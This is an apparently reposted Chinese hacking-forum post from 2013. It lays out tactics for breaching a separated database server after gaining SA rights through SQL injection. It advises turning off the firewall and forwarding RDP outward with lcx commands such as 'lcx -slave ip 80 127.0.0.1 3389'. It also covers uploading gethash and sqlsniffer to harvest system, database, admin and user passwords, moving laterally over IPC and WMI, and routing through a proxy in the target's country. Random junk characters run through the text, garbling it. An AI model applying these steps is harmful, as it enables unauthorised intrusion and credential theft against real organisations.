当你碰到SA的注入点，可以执行命令，但是web与数据库分离，你都会怎么做呢，当数据库不服务器不能连接外网的时候，是不是只想着从web搞呢，这篇文章从t00ls转载过来，希望对大家sa权限的注入点数据库web分离提供一些渗透思路。 r6 @! z+ n0 S
: [: t" R6 ~8 U8 q# ^
1 ^. x: R+ d" | z q, J9 @1 X) p1 B
SA点,system权限,可执行命令,web和db分离.DB机器不上网(一般指中马不上线,lcx反弹不出)1 Y6 A6 i2 g% H+ S; Z \6 k
4 m8 c) E+ N/ A# e
1 l! u# v3 w/ G& w3 d) n
一、DB机有公网IP.
! J/ B$ }4 H' ~9 p4 t9 c& ]" o" e
1:执行命令把系统防火墙和ip策略停止,netstat -an找到3389端口尝试连接.* i& u& t' u2 n4 k2 L3 r, w" u
! e% h6 ?. A" X- t1 e
/ @3 f7 q* M! j7 O r8 J
2:从内往外扫描.把命令行下的s扫描器转成vbs传上DB机器生成exe扫描外网一台做了端口策略的机器.这台外网机器开放所有端口.(可以到网上找这 样的 机器.) 如果扫描结果有开放端口,证明在这台DB机可以把3389转到外面机器.比如扫到80 那就lcx -slave ip 80 127.0.0.1 3389.
# j! {* T; Q& ^; M, ~0 W6 q/ M6 D; Z. s" f% e. O3 h
; y r. N3 E" X- |7 p
3:尽量多拿密码.用vbs的方法上传gethash,sqlsniffer类的工具.拿到系统和mssql的密 码,数据库表的后台管理员密码,member表的最前几个用户密码.这些密码可以用来测试web后台,web的3389 ftp等.当然事先要对web机器完整扫描一遍. www.2cto.com
( U! T' [4 O, w% d1 R# q' A3 [: C+ z9 i2 P6 U6 S3 Z) `2 C: H! c
p- B' X. m. R# @& L
4,nmap扫描.用nmap扫描web和db机器的1-65535端口.如果发现db机器显示有closed的端口.那恭喜你,你可以lcx -tran 把3389转发到该端口直接登陆.firewalk也有类似功能.但对代理防火墙无用.3 J* V& H! m5 P4 o; {2 J
" P; i# h5 _. ^, @
I# t3 a- _. k& }9 ?
' O" W% N! E9 ?3 ~. ]二、DB机只有内网IP5 w2 Z8 J( g6 h0 s* W+ o ~/ f% g
8 ]- ]! q& A6 G
1:尽量多拿密码来net use到web机器.这个过程需要极大的耐心 , 拿密码尝试登陆web后台等.
& u3 `3 P+ P8 @1 r: c4 y5 N/ w6 I" g/ k7 o+ t9 O
/ ~, d2 l& N6 x/ z* Y' e5 N8 O& ~2:停掉防火墙和IP策略再从内往外扫描.
: L. K0 S' C2 u* \3 M7 ]& K) }4 W- \2 J
- Q8 {3 i/ w3 K. s: w, Z+ b
3: ipconfig /dispalydns如果发现有公网的域名,极大可能是路由做了手脚.机会还是有的.+ w p0 v ?5 @7 j& F
4 p2 a3 h, i& M4 Y
3 ^" e. C9 f0 h3 f: A0 b. ~
4:学会密码规律分析往往会有惊喜.# m/ E% R# q: q; K
# W/ {' a5 r9 G1 P! F+ ? O1 y+ X
8 l2 {" D: _8 p% ^# A2 b
5,在sa点里执行命令渗透内网,找可上网的机器.isql,ipc共享,wmi等
: d5 r! N( p9 t( M: _5 I1 V; g, j) j& ?$ U$ j4 c9 U
0 C2 b; C5 O# S; C6 V& ?有些地区或国家会禁止别的国家连接一些端口,所以拥有目标国代理或VPN是很重要的 |
发表于 2013-2-16 21:46:01
收藏
支持
反对